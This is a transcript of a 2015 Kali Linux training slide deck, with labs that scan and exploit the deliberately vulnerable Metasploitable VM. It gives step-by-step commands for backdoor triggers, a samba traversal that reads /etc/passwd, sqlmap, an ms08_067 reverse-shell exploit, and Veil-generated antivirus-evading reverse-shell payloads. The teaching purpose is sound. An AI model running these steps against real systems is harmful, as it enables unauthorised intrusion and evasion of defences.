Kali Linux - CleveSec 2015
155
What is Kali Linux? CleveSec MeetUp Group Westlake, Ohio
Transcript of Kali Linux - CleveSec 2015
What is Kali Linux?CleveSec MeetUp Group
Westlake, Ohio
Welcome
Welcome
Tony Godfrey is the CEO / Linux Consultant of Falconer Technologies (est 2003) specializing in Linux. He has written several articles on the body
of knowledge of security administration, is a regular contributor to a variety of Linux
publications, and has written technical content for Linux education nation-wide at the college level.
He also teaches topics covering Linux, Network Security, Cisco routers, Cybercrime and
System Forensics.
Thank you
Falconer Technologies
877 / TUX RULZ or 877 / 889-7859
Welcome
Side Note:
I put a lot of extra materials, websites, & definitions in the ‘Notes’ section of this PPT.
Overview of Presentation
Intro, Description, How used, Background
Extra Info, Kali in a Box, Raspberry PI
Tools, Overview, & Conclusion
Setting up the Environments
CLI 101 / Tools 101
Kali 101, 201, & 301
Presentation on Kali LinuxIntro
Who or What is ‘Kali’?
Who is Kali?
Kali the mother goddess despite her fearful appearance, protects the good against the evil. Unlike the other Hindu deities her form is pretty scary and formidable, intended to scare away the demons both literally and figuratively!
Anu Yadavalli
Hindu Kali
What is Kali Linux?
Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security Ltd. It was developed by Mati Aharoni and Devon Kearns of Offensive Security through the rewrite of BackTrack, their previous forensics Linux distribution.
BackTrack?
Kali Linux is the ‘rebirth’ of BackTrack Linux. This is a custom distribution designed for security testing for all skill levels from novice to expert. It is the largest collection of wireless hacking, server exploiting, web application assessing, social-engineering tools available in a single Linux distribution.
Developers - March 12, 2013
“Seven years of developing BackTrack Linux has taught us a significant amount about what we, and the security community, think a penetration testing distribution should look like. We’ve taken all of this knowledge and experience and implemented it in our “next generation” penetration testing distribution.”
Developers - March 12, 2013
“After a year of silent development, we are incredibly proud to announce the release and public availability of “Kali Linux“, the most advanced, robust, and stable penetration testing distribution to date.
Kali is a more mature, secure, and enterprise-ready version of BackTrack Linux.”
Warning! Warning!
Kali Linux’s developers would like everyone to use Kali Linux. But, Kali is a Linux distribution specifically geared towards professional penetration testing and security auditing and as such. It is NOTa recommended distribution for those unfamiliar with Linux.
Hardware / Software
Kali likes its own dedicated hardware. If you are learning about Kali and penetration testing (Metaspolitable) then a virtualized environment may be a consideration. VMware Player 5 works well and set the RAM to 1gb.
Hardware / Software
Kali recommends 10gb for the initial install, 512MB RAM min, i386/AMD64, CD/DVD / USB support.
Now…if ‘Veil’ is installed (+ 10gb) and doing the updates/upgrades (+ 5gb), and don’t forget the Alfa antenna.
http://www.kali.org/
Other guys?
Other guys? BackBox
BackBox is an Ubuntu-based distribution developed to perform penetration tests and security assessments. It provides a minimal yet complete desktop environment, thanks to its own software repositories, which are always updated to the latest stable versions of the most often used and best-known ethical hacking tools.
Other guys? Pentoo
Pentoo is a Live CD/USB designed for penetration testing and security assessment. Based on Gentoo, it is provided both as 32/64 bit installable livecd. It features packet injection patched wifi drivers, GPGPU cracking software, and lots of tools for penetration testing and security assessment.
Other guys? BlackBuntu
BlackBuntu is distribution for penetration testing which was specially designed for security training students and practitioners of information security. Blackbuntu is penetration testing distribution with GNOME Desktop Environment. It's currently being built using the Ubuntu 10.10.
Other guys? EnGarde
EnGarde Secure Linux was designed to support features suitable for individuals, students, security enthusiasts, and those wishing to evaluate the level of security and ease of management available in Guardian Digital enterprise products.
Other guys? A few more….
Presentation on Kali LinuxCategories & Websites
What’s in the box, Pandora?
There are several categories
Top 10 Security ToolsInformation GatheringVulnerability Analysis
Web Applications / Password AttacksWireless Attacks / Exploitation Tools
Sniffing/Spoofing / Maintaining AccessReverse Engineering
Stress Testing / Hardware HackingForensics / Reporting Tools
System Services
Metapackages also exist
Kali InformationSee ‘Notes’ section in this slide
Information
Getting your pentesting lab ready
Hacking tutorial
20 things to do after installing Kali
Cracking WEP
6 Resources & Tutorials on Kali
Kali & More PenTestingSee ‘Notes’ section in this slide
Kali & More PenTesting
PenTest Tools
Penetration Testing Tools
PenTestMag
Chrome as a PenTest Tool
Firefox as a PenTest Tool
Kali-specific WebsitesSee ‘Notes’ section in this slide
Kali-specific Websites
Kali4Hackers
Hacking with Kali Linux
YouTube
Kali Linux
Hack with Kali Linux
Kali PublicationsSee ‘Notes’ section in this slide
Kali Publications
Kali Book
BackTrack to Kali
Basic Security Testing with Kali
Kali Linux Assuring Security
Kali in a box?
Do you want to run Kali on tablet or phone?http://www.kali.org/how-to/kali-linux-android-linux-deploy/
Kali in a box?
Basically….
1.Get a tablet1. Install ‘Linux Deploy’ 2. Install Samsung Kies on PC3. Tablet - USB Debugging ON4. Install SuperOneClick on PC5. Wait 5 minutes…6. Done
Kali + Nexus = NetHunter
Do you want to run Kali on a Nexus?http://www.kali.org/kali-linux-nethunter/
Kali on a Nexus?
Kali & Lifehacker
How to hack your own network and beef up its security with Kali Linux
http://lifehacker.com/how-to-hack-your-own-network-and-
beef-up-its-security-w-1649785071
Kali & Raspberry PISee ‘Notes’ section in this slide
What is Metaspolitable?See ‘Notes’ section in this slide
Metaspolitable?
Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques.
The default login and password is msfadmin:msfadmin
Presentation on Kali LinuxDVD, Tools, Demo
What’s on the Drive?
/books◦Official Kali Guide
◦eForensics◦Other published materials
/media◦7-Zip, kali_iso, metaspolitable doc, SD_formatter, Unetbootin, USB_installer, VMware, Win32_DiskImager
/PPT
Legend
We’re going to type something
We’re going to make a note
Might be a question?
We’re going to click on something
Recon Attack
traceroute
traceroute
Essentially, ‘tracert’ in Windows
traceroute –i eth0 <Target IP>
It displays the route (path) and measuring transit delays of packets across an Internet Protocol (IP) network
traceroute
nmap
nmap –p0-65535 <Target IP> | less
A security scanner used to discover hosts and services on a computer network, thus creating a "map" of the network
nmap
nmap
nmap –sS –Pn –A <Target IP>
A security scanner used to discover hosts and services on a computer network – ‘sS’ is stealth scan, ‘Pn’ not to run a ping scan, and ‘A’ is O/S detection, services, service pack.
nmap
rpcinfo
rpcinfo –p <Target IP>
A utility makes a Remote Procedure Call (RPC) to an RPC server and reports
what it finds. It lists all programs registered with the port mapper on the
specified host.
rpcinfo
tcpdump
On Kali…
tcpdump –I eth0 src <Target IP>
On Metaspolitable…ping www.yahoo.comopen a Browser & go to CNN.com
nikto
On Kali
nikto –h <Target IP>
Its an Open Source (GPL) web server scanner which performs
comprehensive tests against web servers for multiple items, including over
6700 potentially dangerous files/CGIs, checks for outdated versions of over
1250 servers, and version specific problems on over 270 servers.
nikto
whatweb
From Kali
whatweb <Target IP>
whatweb –v <Target IP>
whatweb –a 4 <Target IP>
WhatWeb recognizes web technologies including content management
systems (CMS), blogging platforms, statistic/analytics packages, JavaScript
libraries, web servers, and embedded devices.
whatweb
Zenmap (GUI for nmap)
Let’s run Zenmap
Applications Kali Linux
Information Gathering
DNS Analysis
Zenmap
Zenmap (GUI for nmap)
SHODAN
Let’s run SHODAN
Open a browser
www.shodanhq.com
type in ‘almost anything’
…Be very nervous…
SHODAN
dmitry
If you want something more basic…dmitry
dmitry –s <domain.com>
It gives you site names & IP’s
dmitry
veil
Kali has many built-in tools, but you can always install even more (Debian-based). You may always wish to add more such as veil.
veilRemote shell payload generator that can bypass many anti-virus programs.
veil
veil
Presentation on Kali LinuxFinal Thoughts
Thank you
Falconer Technologies
877 / TUX RULZ or 877 / 889-7859
Use your powers for good
Thank You
The second part of this slide deck covers more tools and hands-on.
Presentation on Kali LinuxLab #1 & Prep
Getting Ready…
- Let’s make a folder called kali_2015
- Copy the DVD contents into that folder- Install 7-Zip- Install VMware Player
Let’s make sure the virtual environments are working and can ‘ping’ each other
VMware Player
Press <CTRL><Alt> at the same time to be released from the current virtual environment. You can then do a normal <Alt><Tab> to toggle between different applications.
Logins / Passwords
Kali Login rootKali Password password
Metaspolitable Login msfadminMetaspolitable Password msfadmin
Download Metaspolitable from: http://sourceforge.net/projects/metasploitable/
Metaspolitable V/E
Login msfadmin Password msfadmin
ifconfig
Jot down the IP & Netmask route
Jot down the Gateway
Metaspolitable V/E
Virtual Environment #1◦Metaspolitable
Go to TERMINALrlogin –l root <IP Address>cd /tmpls -l ...vs... ls -la
rm .X0-lock
startx
Kali V/E
Login root Password password
ifconfig
Jot down the IP & Netmask route
Jot down the Gateway
Kali V/E
Go to:
Applications System Tools Preferences System Settings Display Resolution: ____
Then…[Apply]
Kali Updating
From the command line, type
apt-get update && apt-get upgrade
Note: This has already been done to save time, but should be done after a new installation.
Presentation on Kali LinuxLab #2 – Command Line Tools
Command Line ToolsPresentation on Kali Linux
Legend
We’re going to type something
We’re going to make a note
Might be a question?
We’re going to click on something
Recon Attack
ping
ping
Packet InterNet GroperPort = 8
Establishes physical connectivity between two entities
(from Kali) ping <Target IP>
Did it echo back?
top
top
Tells us what services are running, processes, memory allocation
Basically, a live system monitor
df
df
Tells us how much space is available or ‘disk free’
du
du
Tells us how much space is taken or ‘disk used’.
You can get a shorter report by…
‘du –s’ … (disk used –summary)
free
free
How much ‘free’ memory is available
ls
ls
This is for ‘list’
ls –l (list –long) ls -la (list – long – all attributes)
pwd
pwd
Directory structure
Means ‘path to working directory’ or ‘print working directory’
ps / ps aux / pstree
ps
Means ‘Process Status’◦aux – auxiliary view◦pstree – shows parent/child relationships
◦Windows – tasklist / taskkill
Kill - Stops a process (ex: kill PID)
Presentation on Kali LinuxLab #3 – CLI & Services
CLI & ServicesPresentation on Kali Linux
traceroute
traceroute
Essentially, ‘tracert’ in Windows
traceroute –i eth0 <Target IP>
It displays the route (path) and measuring transit delays of packets across an Internet Protocol (IP) network
nmap
nmap –p0-65535 <Target IP> | less
A security scanner used to discover hosts and services on a computer network, thus creating a "map" of the network
nmap
nmap –sS –Pn –A <Target IP>
A security scanner used to discover hosts and services on a computer network – ‘sS’ is stealth scan, ‘Pn’ not to run a ping scan, and ‘A’ is O/S detection, services, service pack.
rlogin (from Metaspolitable)
rlogin –l root <Target IP>
whoami
tcpdump -i eth0 host <Target IP>
A packet analyzer that runs under the command line. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.
rpcinfo
rpcinfo –p <Target IP>
A utility makes a Remote Procedure Call (RPC) to an RPC server and reports
what it finds. It lists all programs registered with the port mapper on the
specified host.
showmount
showmount –e <Target IP>
showmount –a <Target IP>
It displays a list of all clients that have remotely mounted a file system from a
specified machine in the Host parameter. This information is maintained by
the [mountd] daemon on the Host parameter.
telnet
telnet <Target IP> 21
After '220...'
user backdoored:)
<CTRL><]>
quit
Port 20/21 is FTP
telnet
telnet <Target IP> 6200
After 'Escape character...',
id;
<CTRL><]>
quit
Port 6200 - Oracle Notification Service remote port Oracle Application Server
telnet
telnet <Target IP> 6667
IRC (Internet Relay Chat)
Many trojans/backdoors also use this port: Dark Connection Inside, Dark FTP,
Host Control, NetBus worm , ScheduleAgent, SubSeven, Trinity, WinSatan,
Vampire, Moses, Maniacrootkit, kaitex, EGO.
telnet
telnet <Target IP> 1524
After 'root@meta....',
id
Many attack scripts install a backdoor shell at this port (especially those
against Sun systems via holes in sendmail and RPC services like statd,
ttdbserver, and cmsd). Connections to port 600/pcserver also have this
problem. Note: ingreslock, Trinoo; talks UDP/TCP.
Presentation on Kali LinuxLab #4 – Working w/Metaspolitable
smbclient
smbclient –L <//Target IP>
msfconsole...wait, wait, wait..., then
use auxiliary/admin/smb/samba_symlink_traversal
set RHOST <Target IP>
set SMBSHARE tmp
smbclient
exploit
...Connecting to the server.....
...<yadda, yadda, yadda>...
...Auxiliary module....
At the prompt, type exit
smbclient
smbclient //<Target IP>/tmp
Do you get the 'smb: \>' prompt? cd rootfs cd etc more passwd
Do you get a list of all user accts?
tcpdump
On Kali…
tcpdump –I eth0 src <Target IP>
On Metaspolitable…ping www.yahoo.comopen a Browser & go to CNN.com
netdiscover
On Kali
netdiscover –i eth0 –r <Target IP>/24
Netdiscover is an active/passive address reconnaissance tool, mainly
developed for those wireless networks without DHCP server, when you are
wardriving. It can be also used on hub/switched networks.
nikto
On Kali
nikto –h <Target IP>
Its an Open Source (GPL) web server scanner which performs
comprehensive tests against web servers for multiple items, including over
6700 potentially dangerous files/CGIs, checks for outdated versions of over
1250 servers, and version specific problems on over 270 servers.
sqlmap
On Kali
sqlmap –u http://<Target IP> --dbs
It is an open source penetration testing tool that automates the process of
detecting and exploiting SQL injection flaws and taking over of database
servers.
Wasp Services
From Kali – open IceWeasel
http://<Target IP>/
Research: Multillidae <p. 8>
The Mutillidae are a family of more than 3,000 species of wasps (despite the
names) whose wingless females resemble large, hairy ants. Their common
name ‘velvet ant’ refers to their dense pile of hair which most often is bright
scarlet or orange, but may also be black, white, silver, or gold.
Web Services
From Kali – open IceWeasel
http://<Target IP>/
Research: Multillidae <p. 8>
Mutillidae is a free, open source web application provided to allow security
enthusiest to pen-test and hack a web application
whatweb
From Kali
whatweb <Target IP>
whatweb –v <Target IP>
whatweb –a 4 <Target IP>
WhatWeb recognizes web technologies including content management
systems (CMS), blogging platforms, statistic/analytics packages, JavaScript
libraries, web servers, and embedded devices.
Presentation on Kali LinuxLab #5 - msfconsole
From Kali - msfconsolePresentation on Kali Linux
msfconsole
From Kali
service postgresql start
service metasploit start
msfconsole
Let’s fire up the database (PostGreSql) – start Metasploit – start msfconsole
We will then take a look at the built-in exploit tools
msfconsole
From [msf>] console
help search
show exploits
search dns
‘Help Search’ shows all of the options, ‘Show Exploits’ show all the built-in
exploits in msfconsole, ‘Search DNS’ will look for any DNS exploits.
msfconsole
From [msf>] console
search Microsoft
search diablo
search irc
search http
Let’s try a few more to see what they do….
msfconsole
From [msf>] console, search for ‘unreal’
info <exploit>
use <exploit>
show options
LHOST, RHOST, LPORT, RPORT
msfconsole
From [msf>] console (ex: unreal)
set RHOST <IP Address>
show options
exploit
msfconsole
From [msf>] console, search for ‘twiki’
info <exploit>
use <exploit>
show options
LHOST, RHOST, LPORT, RPORT
msfconsole
From [msf>] console (ex: ‘twiki’)
set RHOST <IP Address>
show options
exploit
msfconsole
From [msf>] console, (target: Win XP)
use exploit/windows/smb/ms08_067_netapi
show options
show targets
set target 2
msfconsole
From [msf>] console, (target: Win XP)
show options
show advanced
show targets
show payloads
msfconsole
From [msf>] console, (target: Win XP)
set payload windows/shell_reverse_tcp
show options
set LHOST <Kali IP Address>
set RHOST <Target IP Address>
msfconsole
From [msf>] console, (target: Win XP)
show options
exploit
Any errors?
Presentation on Kali LinuxLab #6 – more GUI
From Kali – more GUIPresentation on Kali Linux
Zenmap
Let’s run Zenmap
Applications Kali Linux
Information Gathering
DNS Analysis
Zenmap
SHODAN
Let’s run SHODAN
Open a browser
www.shodanhq.com
type in ‘almost anything’
…Be very nervous…
FERN
Let’s run FERN
Kali Linux
Wireless Attacks
Wireless Tools
fern-wifi-cracker
recon-ng
Kali has many built-in tools, but you can always install more (Debian-based). But, you may always wish to add more such as recon-ng.
recon-ngautomated info gathering and network reconnaissance.
recon-ng
Let’s run recon-ng…
cd /opt/recon-ng
/usr/bin/python recon-ng
show modules
recon/hosts/gather/http/web/google_site
recon-ng
Let’s run recon-ng…
set DOMAIN <domain.com>
run (…let this run awhile…)
back (…previous level…)
show modules
recon-ng
Let’s run recon-ng…
use reporting/csv
run
Will add your new information to
/usr/share/recon-ng/workspaces/default
dmitry
If you want something more basic…dmitry
dmitry –s <domain.com>
It gives you site names & IP’s
veil
Kali has many built-in tools, but you can always install even more (Debian-based). You may always wish to add more such as veil.
veilRemote shell payload generator that can bypass many anti-virus programs.
veil
Let’s run veil
veil-evasion
list (available payloads list)
use 13 (powershell/VirtualAlloc)
generate
veil
Let’s run veil
1 (msfvenom)
[ENTER] (accept default)
Value for LHOST (Target IP)
Value for LPORT (ex: 4000)
veil
Let’s run veil
Output name (“Squatch”)
It will store this new batch file to the /usr/share/veil/output/source
folder. When the file is run from the target machine, it will attempt to do a reverse shell session with Kali.
Presentation on Kali LinuxFinal Thoughts
Thank you
Thank you for your time.
Falconer Technologies
877 / TUX RULZ or 877 / 889-7859
Use your powers for good
Thank You
